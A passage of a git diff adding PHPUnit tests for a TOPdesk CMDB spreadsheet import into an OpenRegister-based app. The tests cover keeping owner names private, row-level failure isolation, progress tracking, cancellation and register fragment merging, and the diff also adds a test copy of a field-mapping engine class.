(Persoon)' => 'Achternaam, Voornaam', 'Applicatie Eigenaar (Functie)' => 'Afdelingshoofd'])])) + ->import(path: '', options: ['municipalityUuid' => 'muni-1']); + + $people = $this->objects(self::CONTACT_PERSON); + $this->assertNotEmpty($people); + foreach ($people as $person) { + $this->assertSame([], array_diff(array_keys($person), ['id', 'contactsUid', 'organization', 'role'])); + } + + // OrganizationSyncService::performUserSync() selects contact persons with a username. + $sync = (string)file_get_contents(CmdbTestSupport::appRoot() . '/lib/Service/OrganizationSyncService.php'); + $this->assertStringContainsString('o.username IS NOT NULL', $sync, 'the selection changed: re-check that imported contact persons stay out of it'); + // ContactpersoonService::processContactpersoon() provisions only from an e-mail on the object. + $listener = (string)file_get_contents(CmdbTestSupport::appRoot() . '/lib/Service/ContactpersoonService.php'); + $this->assertStringContainsString("\$email = (\$contactData['email'] ?? \$contactData['e-mailadres'] ?? '');", $listener); + }//end testAnImportedContactPersonIsNeverAUser() + + /** + * Neither the report nor any log line names an owner. + * + * @return void + */ + public function testNoPersonDataInReportOrLog(): void { + $this->seedOrganisation(uuid: 'muni-1', name: 'Gemeente Voorbeeldstad', type: 'Municipality'); + $owner = ['Applicatie Eigenaar (Persoon)' => 'Achternaam, Voornaam', 'Applicatie Eigenaar (Functie)' => 'Afdelingshoofd']; + $this->beforeSave = function (int $schema, array $data): void { + if ($schema === self::USAGE && ($data['module'] ?? '') !== '' && count($this->objects(self::USAGE)) === 1) { + throw new RuntimeException('usage refused'); + } + }; + $report = $this->service(reader: $this->rowsReader(rows: [$this->row(appId: '1', cells: $owner, row: 2), $this->row(appId: '2', cells: $owner, row: 3)])) + ->import(path: '', options: ['municipalityUuid' => 'muni-1']); + + $text = json_encode($report, JSON_UNESCAPED_UNICODE) . "\n" . implode("\n", $this->logLines); + foreach (['Achternaam', 'Voornaam'] as $personData) { + $this->assertStringNotContainsString($personData, $text); + } + + $this->assertSame('failed', $report['rows'][1]['outcome'], 'the injected failure ran'); + }//end testNoPersonDataInReportOrLog() + + // ------------------------------------------------------------------ + // Task 7: row isolation, report, progress and cancel + // ------------------------------------------------------------------ + + /** + * A failing module save fails only its row, naming the step. + * + * @return void + */ + public function testOneBadRowDoesNotStopTheOthers(): void { + $this->seedOrganisation(uuid: 'muni-1', name: 'Gemeente Voorbeeldstad', type: 'Municipality'); + $this->beforeSave = function (int $schema, array $data): void { + if ($schema === self::MODULE && ($data['externalNumber'] ?? '') === '2') { + throw new RuntimeException('Validation failed for name'); + } + }; + $rows = [$this->row(appId: '1', row: 2), $this->row(appId: '2', row: 3), $this->row(appId: '3', row: 4)]; + + $report = $this->service(reader: $this->rowsReader(rows: $rows))->import(path: '', options: ['municipalityUuid' => 'muni-1']); + + $this->assertSame(['created', 'failed', 'created'], array_column($report['rows'], 'outcome')); + $this->assertStringStartsWith('step "module" failed', $report['rows'][1]['reasons'][0]); + $this->assertSame(['rowsRead' => 3, 'processed' => 3, 'created' => 2, 'updated' => 0, 'unchanged' => 0, 'skipped' => 0, 'failed' => 1, 'warnings' => 0], $report['summary']); + $this->assertCount(2, $this->store[self::MODULE]); + }//end testOneBadRowDoesNotStopTheOthers() + + /** + * A duplicate APPID (also across the two sheets), a missing APPID and a missing Applicatie Naam are skipped with their reasons. + * + * @return void + */ + public function testRowsAreSkippedWithTheirReasons(): void { + $this->seedOrganisation(uuid: 'muni-1', name: 'Gemeente Voorbeeldstad', type: 'Municipality'); + $rows = [ + $this->row(appId: '2', row: 2), + $this->row(appId: '2', row: 7), + $this->row(appId: '', row: 8), + $this->row(appId: '9', cells: ['Applicatie Naam' => ' '], row: 10), + $this->row(appId: '2', row: 2, sheet: 'Onbeh Applicaties CMDB'), + ]; + + $report = $this->service(reader: $this->rowsReader(rows: $rows))->import(path: '', options: ['municipalityUuid' => 'muni-1']); + + $this->assertSame( + [ + ['created', []], + ['skipped', ['duplicate APPID in file']], + ['skipped', ['missing APPID']], + ['skipped', ['missing Applicatie Naam']], + ['skipped', ['duplicate APPID in file']], + ], + array_map(fn (array $row): array => [$row['outcome'], $row['reasons']], $report['rows']) + ); + $this->assertCount(1, $this->store[self::MODULE]); + }//end testRowsAreSkippedWithTheirReasons() + + /** + * The import runs as a cmdb_import operation with per-row progress; afterwards its statistics hold the report. + * + * @return void + */ + public function testProgressIsRecordedAndHoldsTheReport(): void { + $this->seedOrganisation(uuid: 'muni-1', name: 'Gemeente Voorbeeldstad', type: 'Municipality'); + $seen = []; + $this->beforeSave = function (int $schema) use (&$seen): void { + if ($schema === self::MODULE) { + $seen[] = $this->tracker->getProgress(operationId: 'cmdb-progress-1')['processed_items']; + } + }; + $rows = [$this->row(appId: '1', row: 2), $this->row(appId: '2', row: 3)]; + + $report = $this->service(reader: $this->rowsReader(rows: $rows))->import(path: '', options: ['municipalityUuid' => 'muni-1', 'operationId' => 'cmdb-progress-1']); + + $this->assertSame([0, 1], $seen, 'progress advances after every row'); + $stored = $this->cache['progress_cmdb-progress-1']; + $this->assertSame('cmdb_import', $stored['operation_type']); + $this->assertSame('completed', $stored['status']); + $this->assertSame($report, $stored['statistics']['report']); + }//end testProgressIsRecordedAndHoldsTheReport() + + /** + * A cancel after row 1 of 3 keeps row 1 and reports cancelled with one processed row. + * + * @return void + */ + public function testACancelStopsBetweenRows(): void { + $this->seedOrganisation(uuid: 'muni-1', name: 'Gemeente Voorbeeldstad', type: 'Municipality'); + $service = null; + $this->beforeSave = function (int $schema) use (&$service): void { + if ($schema === self::USAGE) { + $this->assertTrue($service->requestCancel(operationId: 'cmdb-cancel-01')); + } + }; + $rows = [$this->row(appId: '1', row: 2), $this->row(appId: '2', row: 3), $this->row(appId: '3', row: 4)]; + $service = $this->service(reader: $this->rowsReader(rows: $rows)); + + $report = $service->import(path: '', options: ['municipalityUuid' => 'muni-1', 'operationId' => 'cmdb-cancel-01']); + + $this->assertTrue($report['cancelled']); + $this->assertSame(1, $report['summary']['processed']); + $this->assertSame(3, $report['summary']['rowsRead']); + $this->assertCount(1, $report['rows']); + $this->assertCount(1, $this->store[self::MODULE], 'row 1 stays'); + $this->assertSame('cancelled', $this->cache['progress_cmdb-cancel-01']['status']); + $this->assertSame($report, $this->cache['progress_cmdb-cancel-01']['statistics']['report']); + }//end testACancelStopsBetweenRows() + + /** + * Cancel answers false for an unknown id, a malformed id or another operation type. + * + * @return void + */ + public function testCancelNeedsACmdbOperation(): void { + $service = $this->service(reader: $this->rowsReader(rows: [])); + $this->tracker->startOperation(operationType: 'archimate_import', operationId: 'cmdb-not-mine-1'); + + $this->assertFalse($service->requestCancel(operationId: 'cmdb-unknown-1')); + $this->assertFalse($service->requestCancel(operationId: 'archimate_import_abcdefgh')); + $this->assertFalse($service->requestCancel(operationId: 'cmdb-not-mine-1')); + }//end testCancelNeedsACmdbOperation() + + /** + * Without a mapping engine, or without configuration, nothing is read or written. + * + * @return void + */ + public function testMissingEngineOrConfigurationStopsBeforeReading(): void { + try { + $this->service(reader: $this->rowsReader(rows: [$this->row(appId: '1')]), config: [])->import(path: '', options: ['municipalityName' => 'Gemeente Voorbeeldstad']); + $this->fail('NOT_CONFIGURED expected'); + } catch (CmdbImportException $e) { + $this->assertSame('NOT_CONFIGURED', $e->getErrorCode()); + $this->assertSame(503, $e->getHttpStatus()); + } + + $base = $this->service(reader: $this->rowsReader(rows: [$this->row(appId: '1')])); + $reflection = new \ReflectionClass($base); + $args = []; + foreach ($reflection->getConstructor()->getParameters() as $parameter) { + $property = $reflection->getProperty($parameter->getName()); + $args[$parameter->getName()] = $property->getValue($base); + } + + $withoutEngine = new class(...$args) extends CmdbExportImportService { + public const ENGINE_CLASS = 'OCA\OpenRegister\Service\MigrationPack\NoSuchEngine'; + }; + + try { + $withoutEngine->import(path: '', options: ['municipalityName' => 'Gemeente Voorbeeldstad']); + $this->fail('MAPPING_UNAVAILABLE expected'); + } catch (CmdbImportException $e) { + $this->assertSame('MAPPING_UNAVAILABLE', $e->getErrorCode()); + $this->assertSame(503, $e->getHttpStatus()); + } + + $this->assertSame([], $this->saves); + }//end testMissingEngineOrConfigurationStopsBeforeReading() + + /** + * Person names split as TOPdesk writes them ("Achternaam, Voornaam"). + * + * @return void + */ + public function testPersonNamesSplit(): void { + $this->assertSame(['voornaam' => 'Voornaam', 'achternaam' => 'Achternaam'], CmdbExportImportService::splitPersonName(name: 'Achternaam, Voornaam ')); + $this->assertSame(['voornaam' => '', 'achternaam' => 'Functioneel Beheer'], CmdbExportImportService::splitPersonName(name: 'Functioneel Beheer')); + }//end testPersonNamesSplit() +}//end class diff --git a/tests/Unit/Settings/CmdbPersonDataVisibilityTest.php b/tests/Unit/Settings/CmdbPersonDataVisibilityTest.php new file mode 100644 index 000000000..ccb8d6f25 --- /dev/null +++ b/tests/Unit/Settings/CmdbPersonDataVisibilityTest.php @@ -0,0 +1,134 @@ + + * @copyright 2026 Conduction B.V. + * @license EUPL-1.2 https://joinup.ec.europa.eu/collection/eupl/eupl-text-eupl-12 + * @link https://github.com/ConductionNL/stackiq + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-6 + * + * SPDX-FileCopyrightText: 2026 Conduction B.V. + * SPDX-License-Identifier: EUPL-1.2 + */ + +declare(strict_types=1); + +namespace OCA\Stackiq\Tests\Unit\Settings; + +use OCA\Stackiq\Service\SettingsService; +use PHPUnit\Framework\TestCase; +use ReflectionMethod; + +/** + * Pins the register rules that keep imported owners out of public reads. + */ +class CmdbPersonDataVisibilityTest extends TestCase { + /** + * The register after merging every fragment in sorted filename order. + * + * @return array + */ + private function mergedRegister(): array { + $dir = __DIR__ . '/../../../lib/Settings'; + $register = json_decode((string)file_get_contents($dir . '/softwarecatalogus_register.json'), true); + $merge = new ReflectionMethod(SettingsService::class, 'deepMergeConfig'); + + $files = glob($dir . '/register.d/*.json'); + sort($files); + foreach ($files as $file) { + $register = $merge->invoke(null, $register, json_decode((string)file_get_contents($file), true)); + } + + return $register; + }//end mergedRegister() + + /** + * Whether a read rule lets the public group in. + * + * @param mixed $rule A string group or a {group, match} rule. + * + * @return bool + */ + private static function isPublic(mixed $rule): bool { + if (is_string($rule) === true) { + return $rule === 'public'; + } + + return is_array($rule) === true && ($rule['group'] ?? null) === 'public'; + }//end isPublic() + + /** + * Neither usage nor contactPerson can be read anonymously. + * + * @return void + */ + public function testUsageAndContactPersonHaveNoPublicReadRule(): void { + $schemas = $this->mergedRegister()['components']['schemas']; + + foreach (['usage', 'contactPerson'] as $schema) { + $read = ($schemas[$schema]['authorization']['read'] ?? null); + $this->assertIsArray($read, $schema . ' must have an explicit read rule; without one OpenRegister does not restrict reads'); + $this->assertNotEmpty($read, $schema); + foreach ($read as $rule) { + $this->assertFalse(self::isPublic(rule: $rule), $schema . ' has a public read rule: imported owners would be readable anonymously'); + } + } + }//end testUsageAndContactPersonHaveNoPublicReadRule() + + /** + * A published module refers to its contact person and usages by relation only, and holds no person field. + * + * @return void + */ + public function testAModuleOnlyRefersToPeopleByRelation(): void { + $module = $this->mergedRegister()['components']['schemas']['module']; + + $this->assertTrue( + array_filter($module['authorization']['read'], fn (mixed $rule): bool => self::isPublic(rule: $rule)) !== [], + 'modules are public once published; that is why the person data must stay on other schemas' + ); + $this->assertSame('#/components/schemas/contactPerson', $module['properties']['contactPerson']['$ref']); + $this->assertSame('#/components/schemas/usage', $module['properties']['usages']['$ref']); + foreach (['businessOwner', 'technicalOwner', 'email', 'owner', 'eigenaar'] as $field) { + $this->assertArrayNotHasKey($field, $module['properties'], 'module.' . $field . ' would be public'); + } + }//end testAModuleOnlyRefersToPeopleByRelation() + + /** + * The import writes no person data onto a module; only the owner pack reads a person column. + * + * @return void + */ + public function testTheImportWritesNoPersonDataOntoAModule(): void { + $dir = __DIR__ . '/../../../lib/Settings/cmdb-import'; + $person = ['Applicatie Eigenaar (Persoon)', 'Applicatie Eigenaar (Functie)']; + + foreach (glob($dir . '/topdesk-*.json') as $file) { + $pack = json_decode((string)file_get_contents($file), true); + foreach (($pack['fieldMappings'] ?? []) as $mapping) { + if (basename($file) === 'topdesk-module.json') { + $this->assertNotContains($mapping['target'], ['contactPerson', 'usages'], 'the module pack writes ' . $mapping['target']); + } + + if (in_array($mapping['source'], $person, true) === true) { + $this->assertSame('topdesk-business-owner.json', basename($file), $mapping['source'] . ' is read outside the owner pack'); + } + } + } + }//end testTheImportWritesNoPersonDataOntoAModule() +}//end class diff --git a/tests/Unit/Settings/TopdeskCmdbFragmentTest.php b/tests/Unit/Settings/TopdeskCmdbFragmentTest.php new file mode 100644 index 000000000..71badecff --- /dev/null +++ b/tests/Unit/Settings/TopdeskCmdbFragmentTest.php @@ -0,0 +1,132 @@ + + * @copyright 2026 Conduction B.V. + * @license EUPL-1.2 https://joinup.ec.europa.eu/collection/eupl/eupl-text-eupl-12 + * @link https://github.com/ConductionNL/stackiq + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-2 + * + * SPDX-FileCopyrightText: 2026 Conduction B.V. + * SPDX-License-Identifier: EUPL-1.2 + */ + +declare(strict_types=1); + +namespace OCA\Stackiq\Tests\Unit\Settings; + +use OCA\Stackiq\Service\SettingsService; +use PHPUnit\Framework\TestCase; +use ReflectionMethod; + +/** + * Merges every fragment in filename order, exactly as SettingsService::loadSettings() does. + */ +class TopdeskCmdbFragmentTest extends TestCase { + /** + * The external-id properties the fragment adds. + * + * @var array + */ + private const PROPERTIES = ['externalId', 'externalNumber', 'externalKey', 'externalCreatedAt', 'externalModifiedAt']; + + /** + * The register after merging every fragment in sorted filename order. + * + * @return array + */ + private function mergedRegister(): array { + $dir = __DIR__ . '/../../../lib/Settings'; + $register = json_decode((string)file_get_contents($dir . '/softwarecatalogus_register.json'), true); + $merge = new ReflectionMethod(SettingsService::class, 'deepMergeConfig'); + + $files = glob($dir . '/register.d/*.json'); + sort($files); + foreach ($files as $file) { + $register = $merge->invoke(null, $register, json_decode((string)file_get_contents($file), true)); + } + + return $register; + }//end mergedRegister() + + /** + * The merged module is 0.3.5 and carries the five optional, titled properties. + * + * @return void + */ + public function testTheMergedModuleIsVersion035WithTheExternalIds(): void { + $module = $this->mergedRegister()['components']['schemas']['module']; + + $this->assertSame('0.3.5', $module['version'], 'a fragment sorting after topdesk-cmdb-import.json overwrote the bump'); + foreach (self::PROPERTIES as $property) { + $this->assertArrayHasKey($property, $module['properties']); + $this->assertNotEmpty($module['properties'][$property]['title'] ?? '', $property); + $this->assertNotEmpty($module['properties'][$property]['description'] ?? '', $property); + $this->assertSame('string', $module['properties'][$property]['type'], $property); + $this->assertNotContains($property, $module['required'] ?? [], $property); + $this->assertNotTrue($module['properties'][$property]['required'] ?? false, $property); + } + + $this->assertSame(100, $module['properties']['externalId']['maxLength']); + $this->assertSame(50, $module['properties']['externalNumber']['maxLength']); + $this->assertSame(200, $module['properties']['externalKey']['maxLength']); + $this->assertSame(['default' => false], $module['properties']['externalKey']['table']); + $this->assertSame('date', $module['properties']['externalCreatedAt']['format']); + $this->assertSame('date', $module['properties']['externalModifiedAt']['format']); + $this->assertArrayHasKey('roadmapStatement', $module['properties'], 'the 0.3.4 fragment still applies'); + $this->assertSame(['name'], $module['required']); + }//end testTheMergedModuleIsVersion035WithTheExternalIds() + + /** + * The fragment sorts after the fragment that set module 0.3.4. + * + * @return void + */ + public function testTheFragmentSortsAfterTheRoadmapFragment(): void { + $names = ['maintenance-and-roadmap.json', 'topdesk-cmdb-import.json']; + $sorted = $names; + sort($sorted); + $this->assertSame($names, $sorted); + }//end testTheFragmentSortsAfterTheRoadmapFragment() + + /** + * The three seed modules exist without publicationDate or externalKey, and every seed field is a schema property. + * + * @return void + */ + public function testTheSeedModulesShowTheNewProperties(): void { + $register = $this->mergedRegister(); + $properties = $register['components']['schemas']['module']['properties']; + $seeds = []; + foreach ($register['components']['objects'] as $object) { + if (($object['@self']['schema'] ?? null) === 'module') { + $seeds[$object['@self']['slug']] = $object; + } + } + + $this->assertSame(['voorbeeld-zaaksysteem', 'voorbeeld-afsprakenplanner', 'voorbeeld-belastingapplicatie'], array_keys($seeds)); + $this->assertSame(['APP-00001', 'APP-00002', 'AIA-00003'], array_column(array_values($seeds), 'externalId')); + foreach ($seeds as $slug => $seed) { + $this->assertArrayNotHasKey('publicationDate', $seed, $slug); + $this->assertArrayNotHasKey('externalKey', $seed, $slug); + $this->assertSame('stackiq', $seed['@self']['register'], $slug); + foreach (array_keys($seed) as $field) { + if ($field !== '@self') { + $this->assertArrayHasKey($field, $properties, $slug . '.' . $field); + } + } + + $this->assertContains($seed['bbnLevel'], $properties['bbnLevel']['enum'], $slug); + $this->assertContains($seed['type'], $properties['type']['enum'], $slug); + } + + // The base seeds are still there: the fragment appends, it does not replace. + $this->assertGreaterThan(3, count($register['components']['objects'])); + }//end testTheSeedModulesShowTheNewProperties() +}//end class diff --git a/tests/Unit/Support/CmdbTestSupport.php b/tests/Unit/Support/CmdbTestSupport.php new file mode 100644 index 000000000..90f51c0e0 --- /dev/null +++ b/tests/Unit/Support/CmdbTestSupport.php @@ -0,0 +1,159 @@ + + * @copyright 2026 Conduction B.V. + * @license EUPL-1.2 https://joinup.ec.europa.eu/collection/eupl/eupl-text-eupl-12 + * @link https://github.com/ConductionNL/stackiq + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-4 + * + * SPDX-FileCopyrightText: 2026 Conduction B.V. + * SPDX-License-Identifier: EUPL-1.2 + */ + +declare(strict_types=1); + +namespace OCA\Stackiq\Tests\Unit\Support; + +/** + * Locates and loads the OpenRegister pieces the CMDB import uses. + */ +final class CmdbTestSupport { + /** + * Which migration-pack classes were loaded: "real" or "copy". + * + * @var string|null + */ + private static ?string $packSource = null; + + /** + * The app root. + * + * @return string + */ + public static function appRoot(): string { + return dirname(__DIR__, 3); + }//end appRoot() + + /** + * The fixture directory. + * + * @return string + */ + public static function fixtures(): string { + return self::appRoot() . '/tests/fixtures/cmdb'; + }//end fixtures() + + /** + * The OpenRegister app directory, when one is available. + * + * @return string|null + */ + public static function openRegisterDir(): ?string { + $candidates = []; + $env = getenv('OPENREGISTER_DIR'); + if (is_string($env) === true && $env !== '') { + $candidates[] = $env; + } + + // An app next to openregister, or a worktree two levels below the apps directory. + $candidates[] = dirname(self::appRoot()) . '/openregister'; + $candidates[] = dirname(self::appRoot(), 2) . '/openregister'; + + foreach ($candidates as $candidate) { + if (is_file($candidate . '/lib/Service/MigrationPack/MappingEngine.php') === true) { + return $candidate; + } + } + + return null; + }//end openRegisterDir() + + /** + * Load MappingEngine and PackDefinitionValidator. + * + * @return string "real" or "copy". + */ + public static function loadMigrationPack(): string { + if (self::$packSource !== null) { + return self::$packSource; + } + + $dir = self::openRegisterDir(); + $source = 'copy'; + $base = __DIR__ . '/OpenRegister'; + if ($dir !== null) { + $source = 'real'; + $base = $dir . '/lib/Service/MigrationPack'; + } + + foreach (['PackDefinitionValidator', 'MappingEngine'] as $class) { + if (class_exists('OCA\\OpenRegister\\Service\\MigrationPack\\' . $class, false) === false) { + require_once $base . '/' . $class . '.php'; + } + } + + self::$packSource = $source; + return $source; + }//end loadMigrationPack() + + /** + * Make PhpSpreadsheet loadable from OpenRegister's vendor directory. + * + * @return bool Whether the Xlsx reader can be loaded. + */ + public static function loadPhpSpreadsheet(): bool { + if (class_exists('PhpOffice\\PhpSpreadsheet\\Reader\\Xlsx') === true) { + return true; + } + + $dir = self::openRegisterDir(); + if ($dir === null || is_dir($dir . '/vendor/phpoffice/phpspreadsheet') === false) { + return false; + } + + $vendor = $dir . '/vendor'; + $prefixes = [ + 'PhpOffice\\PhpSpreadsheet\\' => $vendor . '/phpoffice/phpspreadsheet/src/PhpSpreadsheet/', + 'Psr\\SimpleCache\\' => $vendor . '/psr/simple-cache/src/', + 'Composer\\Pcre\\' => $vendor . '/composer/pcre/src/', + 'Matrix\\' => $vendor . '/markbaker/matrix/classes/src/', + 'Complex\\' => $vendor . '/markbaker/complex/classes/src/', + ]; + + // Appended, so a library this app already ships keeps winning. + spl_autoload_register( + static function (string $class) use ($prefixes): void { + foreach ($prefixes as $prefix => $path) { + if (str_starts_with($class, $prefix) === false) { + continue; + } + + $file = $path . str_replace('\\', '/', substr($class, strlen($prefix))) . '.php'; + if (is_file($file) === true) { + require_once $file; + } + + return; + } + } + ); + + return class_exists('PhpOffice\\PhpSpreadsheet\\Reader\\Xlsx') === true; + }//end loadPhpSpreadsheet() +}//end class diff --git a/tests/Unit/Support/OpenRegister/MappingEngine.php b/tests/Unit/Support/OpenRegister/MappingEngine.php new file mode 100644 index 000000000..9e06f56c3 --- /dev/null +++ b/tests/Unit/Support/OpenRegister/MappingEngine.php @@ -0,0 +1,353 @@ + + * value, with `id` recognised by the existing update-by-id convention), so + * the single write path (`ObjectService::saveObjects()`/`saveObject()`) is + * unchanged. + * + * Literal-leak guard (fleet lesson — a transform/template reference that + * doesn't resolve must ERROR the row, never pass the literal through): the + * `lookup` transform errors the row when the source value is present but + * has no entry in the map and no `default` is configured, rather than + * silently passing the raw, unmapped source value through to the target + * schema property. + * + * SPDX-License-Identifier: EUPL-1.2 + * SPDX-FileCopyrightText: 2026 Conduction B.V. + * + * @category Service + * @package OCA\OpenRegister\Service\MigrationPack + * + * @author Conduction Development Team + * @copyright 2026 Conduction B.V. + * @license EUPL-1.2 https://joinup.ec.europa.eu/collection/eupl/eupl-text-eupl-12 + * + * @link https://OpenRegister.app + * + * @spec exclude test copy of an OpenRegister class; its spec is migration-mapping-packs in the openregister repository + */ + +declare(strict_types=1); + +/* + * TEST COPY, not loaded in production. Verbatim copy of OpenRegister + * lib/Service/MigrationPack/MappingEngine.php at version 2.1.34, so the + * CMDB import tests run where OpenRegister is not checked out (CI). Where it is, + * tests/Unit/Support/CmdbTestSupport.php loads the real class instead (set + * OPENREGISTER_DIR). Refresh this copy when OpenRegister changes the pack format. + */ + + +namespace OCA\OpenRegister\Service\MigrationPack; + +use DateTime; + +/** + * Maps one source row (CSV row / Excel row / decoded JSON object) onto a set + * of target schema-property values, per a migration-pack definition. + * + * @spec exclude test copy of an OpenRegister class; its spec is migration-mapping-packs in the openregister repository + */ +class MappingEngine { + /** + * Apply a pack definition to one source row. + * + * @param array $pack The validated pack definition (decoded JSON). + * @param array $sourceRow The parsed source row (flat for CSV/Excel, possibly nested for JSON). + * @param int $rowNumber 1-based row number, used only to label errors. + * + * @return array{data: array, errors: list} + * + * @spec exclude test copy of an OpenRegister class; its spec is migration-mapping-packs in the openregister repository + */ + public function mapRow(array $pack, array $sourceRow, int $rowNumber): array { + $data = $pack['defaults'] ?? []; + $errors = []; + + foreach (($pack['fieldMappings'] ?? []) as $mapping) { + $source = (string)($mapping['source'] ?? ''); + $target = (string)($mapping['target'] ?? ''); + $required = ($mapping['required'] ?? false) === true; + $transform = $mapping['transform'] ?? null; + $transformId = null; + if (is_array($transform) === true) { + $transformId = ($transform['type'] ?? null); + } + + $rawValue = $this->resolveSource(row: $sourceRow, pointer: $source); + $isEmpty = ($rawValue === null || $rawValue === ''); + + if ($required === true && $isEmpty === true) { + $errors[] = [ + 'row' => $rowNumber, + 'source' => $source, + 'target' => $target, + 'transform' => $transformId, + 'message' => sprintf('Required source field "%s" is missing or empty', $source), + ]; + continue; + } + + // A `const` transform always applies, regardless of the source value. + // Every other transform is skipped (leaving any seeded default in + // place) when the source is empty and the mapping is optional — + // there is nothing to map, and nothing to error. + if ($isEmpty === true && $transformId !== 'const') { + continue; + } + + $result = $this->applyTransform( + value: $rawValue, + transform: $transform, + sourceRow: $sourceRow + ); + + if ($result['error'] !== null) { + $errors[] = [ + 'row' => $rowNumber, + 'source' => $source, + 'target' => $target, + 'transform' => $transformId, + 'message' => $result['error'], + ]; + continue; + } + + $data[$target] = $result['value']; + }//end foreach + + $data = $this->applyIdStrategy(pack: $pack, sourceRow: $sourceRow, data: $data); + + return [ + 'data' => $data, + 'errors' => $errors, + ]; + }//end mapRow() + + /** + * Whether a given (1-based) row number is listed in the pack's `skipRows`. + * + * @param array $pack The pack definition. + * @param int $rowNumber 1-based row number. + * + * @return bool + * + * @spec exclude test copy of an OpenRegister class; its spec is migration-mapping-packs in the openregister repository + */ + public function isRowSkipped(array $pack, int $rowNumber): bool { + $skipRows = $pack['skipRows'] ?? []; + return in_array($rowNumber, $skipRows, true); + }//end isRowSkipped() + + /** + * Resolve the id/uuid target from `idStrategy`, mutating `data['id']` + * when the strategy is `sourceField` and a value is present. The + * `generate` strategy is a no-op here — leaving `data['id']` unset lets + * the existing import pipeline treat the row as a create, exactly as it + * already does for CSV/JSON rows with no id column. + * + * @param array $pack The pack definition. + * @param array $sourceRow The source row. + * @param array $data The mapped target data so far. + * + * @return array The (possibly id-augmented) target data. + */ + private function applyIdStrategy(array $pack, array $sourceRow, array $data): array { + $idStrategy = $pack['idStrategy'] ?? ['type' => 'generate']; + if (($idStrategy['type'] ?? 'generate') !== 'sourceField') { + return $data; + } + + $idValue = $this->resolveSource(row: $sourceRow, pointer: (string)($idStrategy['field'] ?? '')); + if ($idValue !== null && $idValue !== '') { + $data['id'] = (string)$idValue; + } + + return $data; + }//end applyIdStrategy() + + /** + * Resolve a source value from a row, given either a flat key or a + * JSON-Pointer-style `/a/b/c` path. + * + * @param array $row The source row. + * @param string $pointer A flat key or a leading-`/` pointer path. + * + * @return mixed The resolved value, or null when not found. + */ + private function resolveSource(array $row, string $pointer) { + if ($pointer === '') { + return null; + } + + if ($pointer[0] !== '/') { + return $row[$pointer] ?? null; + } + + $segments = explode('/', ltrim($pointer, '/')); + $cursor = $row; + foreach ($segments as $segment) { + $segment = str_replace(['~1', '~0'], ['/', '~'], $segment); + if (is_array($cursor) === false || array_key_exists($segment, $cursor) === false) { + return null; + } + + $cursor = $cursor[$segment]; + } + + return $cursor; + }//end resolveSource() + + /** + * Apply one transform to a resolved source value. + * + * @param mixed $value The resolved source value (never null/'' — callers filter + * that). + * @param array|null $transform The transform block, or null for identity passthrough. + * @param array $sourceRow The full source row (needed by `concat` to resolve extra fields). + * + * @return array{value: mixed, error: ?string} + * + * @SuppressWarnings(PHPMD.CyclomaticComplexity) One branch per transform type. + */ + private function applyTransform($value, ?array $transform, array $sourceRow): array { + if ($transform === null) { + return ['value' => $value, 'error' => null]; + } + + switch ($transform['type'] ?? null) { + case 'trim': + $stringValue = (string)$value; + if (is_string($value) === true) { + $stringValue = $value; + } + return ['value' => trim($stringValue), 'error' => null]; + case 'date': + return $this->applyDateTransform(value: $value, transform: $transform); + case 'bool-map': + return $this->applyMapTransform(value: $value, transform: $transform, coerceBool: true); + case 'lookup': + return $this->applyMapTransform(value: $value, transform: $transform, coerceBool: false); + case 'concat': + return $this->applyConcatTransform(value: $value, transform: $transform, sourceRow: $sourceRow); + case 'const': + return ['value' => ($transform['value'] ?? null), 'error' => null]; + default: + return ['value' => null, 'error' => 'Unknown transform type "' . (string)($transform['type'] ?? '') . '"']; + }//end switch + }//end applyTransform() + + /** + * `date` transform: parse the source value with `sourceFormat` (or a + * best-effort `DateTime` parse when omitted) and re-emit it as `targetFormat` + * (default `Y-m-d`). + * + * @param mixed $value The resolved source value. + * @param array $transform The transform block. + * + * @return array{value: mixed, error: ?string} + * + * @SuppressWarnings(PHPMD.StaticAccess) DateTime::createFromFormat is the standard PHP idiom for a strict-format parse. + */ + private function applyDateTransform($value, array $transform): array { + $sourceFormat = $transform['sourceFormat'] ?? null; + $targetFormat = $transform['targetFormat'] ?? 'Y-m-d'; + $stringValue = (string)$value; + + try { + $date = null; + if (is_string($sourceFormat) === true && $sourceFormat !== '') { + $date = DateTime::createFromFormat($sourceFormat, $stringValue); + if ($date === false) { + return [ + 'value' => null, + 'error' => sprintf('Could not parse date "%s" with format "%s"', $stringValue, $sourceFormat), + ]; + } + } + + if ($date === null) { + $date = new DateTime($stringValue); + } + } catch (\Throwable $e) { + return ['value' => null, 'error' => sprintf('Could not parse date "%s": %s', $stringValue, $e->getMessage())]; + } + + return ['value' => $date->format($targetFormat), 'error' => null]; + }//end applyDateTransform() + + /** + * Shared implementation for `bool-map` and `lookup` — both resolve the + * source value through a `map`, with an optional `default` and, absent a + * default, an error on an unresolved key (the literal-leak guard). + * + * @param mixed $value The resolved source value. + * @param array $transform The transform block. + * @param bool $coerceBool Whether to cast the mapped value to bool (bool-map) or return it as-is (lookup). + * + * @return array{value: mixed, error: ?string} + */ + private function applyMapTransform($value, array $transform, bool $coerceBool): array { + $map = $transform['map'] ?? []; + $key = (string)$value; + + if (array_key_exists($key, $map) === true) { + $mapped = $map[$key]; + if ($coerceBool === true) { + $mapped = (bool)$mapped; + } + + return ['value' => $mapped, 'error' => null]; + } + + if (array_key_exists('default', $transform) === true) { + $default = $transform['default']; + if ($coerceBool === true) { + $default = (bool)$default; + } + + return ['value' => $default, 'error' => null]; + } + + // Literal-leak guard: an unresolved map key is a data-quality problem the + // migration operator must see and fix, never a value that silently passes + // through unmapped into the target schema property. + return [ + 'value' => null, + 'error' => sprintf('Value "%s" has no mapping and no default is configured', $key), + ]; + }//end applyMapTransform() + + /** + * `concat` transform: join the primary source value with 0+ additional + * source fields, using `separator` (default a single space). Additional + * fields that resolve to nothing are treated as empty strings — a + * missing *optional* extra field is not itself a literal-leak case, since + * there is no map lookup involved. + * + * @param mixed $value The resolved primary source value. + * @param array $transform The transform block. + * @param array $sourceRow The full source row. + * + * @return array{value: mixed, error: ?string} + */ + private function applyConcatTransform($value, array $transform, array $sourceRow): array { + $separator = $transform['separator'] ?? ' '; + $parts = [(string)$value]; + + foreach (($transform['fields'] ?? []) as $extraSource) { + $extraValue = $this->resolveSource(row: $sourceRow, pointer: (string)$extraSource); + $parts[] = (string)($extraValue ?? ''); + } + + return ['value' => implode($separator, $parts), 'error' => null]; + }//end applyConcatTransform() +}//end class diff --git 